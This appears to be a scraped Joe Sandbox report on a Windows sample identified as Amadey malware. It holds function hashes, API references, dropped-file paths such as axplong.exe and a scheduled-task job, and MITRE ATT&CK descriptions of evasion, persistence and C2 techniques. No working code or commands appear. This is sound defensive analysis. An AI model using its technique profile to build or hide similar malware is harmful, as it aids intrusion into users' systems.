Associated: 00000004.00000002.2603420342.00000000007F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603504694.00000000007F9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.00000000007FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.000000000098C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A9F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AA6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AB6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605045981.0000000000AB7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605192224.0000000000C5E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_790000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: P#y$P#y$This function cannot be called on a default constructed task
API String ID: 2659868963-1304002132
Opcode ID: ae4d9ebc70a98d9418ffd30948cdfd77edefe03b2cbc535d2cae4ef544fda597
Instruction ID: 7e53cf73f6b12b72b923e00cff957e491a7add1286550c3a09ae666ac4435af1
Opcode Fuzzy Hash: ae4d9ebc70a98d9418ffd30948cdfd77edefe03b2cbc535d2cae4ef544fda597
Instruction Fuzzy Hash: 8AF02B71A1030CABCB10EF6DE841D9EB7EDDF09300F5082ADF80897201EB78AA54CB95

Function 007CC9B0 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 007CCA37

Memory Dump Source

Source File: 00000004.00000002.2603420342.0000000000791000.00000040.00000001.01000000.00000008.sdmp, Offset: 00790000, based on PE: true

Associated: 00000004.00000002.2603398565.0000000000790000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603420342.00000000007F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603504694.00000000007F9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.00000000007FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.000000000098C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A9F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AA6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AB6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605045981.0000000000AB7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605192224.0000000000C5E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_790000_axplong.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 06cc7c729825ef3726f3ff46e89b4dfb23933aad1dd17f016a943cdb57bb7414
Instruction ID: d14af661019cc91e1f021416d10a5f63aaa7be26c6c167c71b63dbff288ab80f
Opcode Fuzzy Hash: 06cc7c729825ef3726f3ff46e89b4dfb23933aad1dd17f016a943cdb57bb7414
Instruction Fuzzy Hash: 87B114729002859FDB22CF68C895FAEBBA5EF55340F1481AEE84D9B341D63C9D41CB60

Function 007ABAA2 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 007ABAFA
__Xtime_diff_to_millis2.LIBCPMT ref: 007ABB14
_xtime_get.LIBCPMT ref: 007ABB37
__Xtime_diff_to_millis2.LIBCPMT ref: 007ABB43

Memory Dump Source

Source File: 00000004.00000002.2603420342.0000000000791000.00000040.00000001.01000000.00000008.sdmp, Offset: 00790000, based on PE: true

Associated: 00000004.00000002.2603398565.0000000000790000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603420342.00000000007F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603504694.00000000007F9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.00000000007FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.000000000098C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A9F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AA6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AB6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605045981.0000000000AB7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605192224.0000000000C5E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_790000_axplong.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 90fdcb8046db45b7fcbc767288d249d85deafe8000e22ba77f8a7bb5583d54ef
Instruction ID: f114ae5d7fb4e72df4e13b703caa0e08bb348f469c9a7689d61c207a3a942999
Opcode Fuzzy Hash: 90fdcb8046db45b7fcbc767288d249d85deafe8000e22ba77f8a7bb5583d54ef
Instruction Fuzzy Hash: 82216271E01109EFDF11EFA4CC859BEBBB8EF89710F104165F601A7251DB78AD419BA1

Function 007A7040 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 236COMMON

Download Yara Rule

APIs

__Mtx_init_in_situ.LIBCPMT ref: 007A726C

Strings

@.y, xrefs: 007A7250
`zz, xrefs: 007A7282

Memory Dump Source

Source File: 00000004.00000002.2603420342.0000000000791000.00000040.00000001.01000000.00000008.sdmp, Offset: 00790000, based on PE: true

Associated: 00000004.00000002.2603398565.0000000000790000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603420342.00000000007F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603504694.00000000007F9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.00000000007FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.000000000098C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A9F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AA6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AB6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605045981.0000000000AB7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605192224.0000000000C5E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_790000_axplong.jbxd

Yara matches

Similarity

API ID: Mtx_init_in_situ
String ID: @.y$`zz
API String ID: 3366076730-310687464
Opcode ID: bc136e843efb4be327eca9bc21c562a29d75622643b3ac9a66eeedf95846a6b8
Instruction ID: d130fb60edd15d75238d5663a0282d44592f8eb0ecd3832a81baac27eeb53b6b
Opcode Fuzzy Hash: bc136e843efb4be327eca9bc21c562a29d75622643b3ac9a66eeedf95846a6b8
Instruction Fuzzy Hash: F9A127B0A01619CFDB25CFA8C88479EBBF0BF89710F158259E819AB351E7799D01CF90

Function 00793930 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

__Mtx_init_in_situ.LIBCPMT ref: 00793962
__Mtx_init_in_situ.LIBCPMT ref: 007939A1

Strings

pBy, xrefs: 00793940

Memory Dump Source

Source File: 00000004.00000002.2603420342.0000000000791000.00000040.00000001.01000000.00000008.sdmp, Offset: 00790000, based on PE: true

Associated: 00000004.00000002.2603398565.0000000000790000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603420342.00000000007F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603504694.00000000007F9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.00000000007FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.000000000098C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A9F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AA6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AB6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605045981.0000000000AB7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605192224.0000000000C5E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_790000_axplong.jbxd

Yara matches

Similarity

API ID: Mtx_init_in_situ
String ID: pBy
API String ID: 3366076730-1076254045
Opcode ID: 9038bb56f7db7642c78ac8ca0292863eb4a7833688dd109794002f70c29fa550
Instruction ID: bcb062404f438c63d0db7793a082e1a7e4a992e6406544eb53d52a90d7afceff
Opcode Fuzzy Hash: 9038bb56f7db7642c78ac8ca0292863eb4a7833688dd109794002f70c29fa550
Instruction Fuzzy Hash: 594115B0501B059FDB20CF19C588B5ABBF4FF84315F148619E96A8B341E7B9EA15CF80

Function 00792440 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 32COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 0079247E

Strings

P#y, xrefs: 0079246D
P#y, xrefs: 00792486

Memory Dump Source

Source File: 00000004.00000002.2603420342.0000000000791000.00000040.00000001.01000000.00000008.sdmp, Offset: 00790000, based on PE: true

Associated: 00000004.00000002.2603398565.0000000000790000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603420342.00000000007F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603504694.00000000007F9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.00000000007FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.000000000098C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A9F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AA6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AB6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605045981.0000000000AB7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605192224.0000000000C5E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_790000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: P#y$P#y
API String ID: 2659868963-534735823
Opcode ID: 19ebc9a4d80d1a0ad21a8ae899238908c91a21c3f19e5eb1b1a78a459c2560c6
Instruction ID: 95ef998c5db4fbaf80586e2cda9fc13584f3a956a2969aa737502b16dcc0441f
Opcode Fuzzy Hash: 19ebc9a4d80d1a0ad21a8ae899238908c91a21c3f19e5eb1b1a78a459c2560c6
Instruction Fuzzy Hash: EAF0E5B191024CA7C714FBE8D805D89B3ACDE15300B008A39F754E7601FBB8FA5487D1

Function 00792520 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00792552

Strings

P#y, xrefs: 00792547
P#y, xrefs: 0079255D

Memory Dump Source

Source File: 00000004.00000002.2603420342.0000000000791000.00000040.00000001.01000000.00000008.sdmp, Offset: 00790000, based on PE: true

Associated: 00000004.00000002.2603398565.0000000000790000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603420342.00000000007F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603504694.00000000007F9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.00000000007FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.000000000098C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000A9F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AA6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2603524043.0000000000AB6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605045981.0000000000AB7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2605192224.0000000000C5E000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_790000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: P#y$P#y
API String ID: 2659868963-534735823
Opcode ID: fb1a8b563a2af2d6a1e7423f53c30c018666e72562fff32c06d9da5882a9bd46
Instruction ID: 1366827cc1e1db46879d58286cd9d5d3c960297e923dda537ec3b83734e79b20
Opcode Fuzzy Hash: fb1a8b563a2af2d6a1e7423f53c30c018666e72562fff32c06d9da5882a9bd46
Instruction Fuzzy Hash: 92F0A771E1120DEFCB14DFA8D841A9EBBF4AF59300F10C2AEE44467200EB745A95CBD9

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Amadey

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe:Zone.Identifier

C:\Windows\Tasks\axplong.job

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Windows Analysis Report
file.exe

Function 0079BD60 Relevance: 19.6, APIs: 5, Strings: 6, Instructions: 310
networkfileCOMMON

Function 007965B0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 257
COMMON

Function 00795DF0 Relevance: 12.6, APIs: 2, Strings: 5, Instructions: 364
COMMON

Function 00797D00 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 392
COMMON

Function 007C6E01 Relevance: 4.6, APIs: 3, Instructions: 145
COMMON

Function 007CD4F4 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 198
COMMONLIBRARYCODE

Function 007982B0 Relevance: 1.7, APIs: 1, Instructions: 159
COMMON

Function 007C6C99 Relevance: 1.6, APIs: 1, Instructions: 89
COMMON

Function 007C6F71 Relevance: 1.6, APIs: 1, Instructions: 56
timeCOMMON

Function 007CD6EF Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMON

Function 007A6AE0 Relevance: 1.3, APIs: 1, Instructions: 40
sleepCOMMON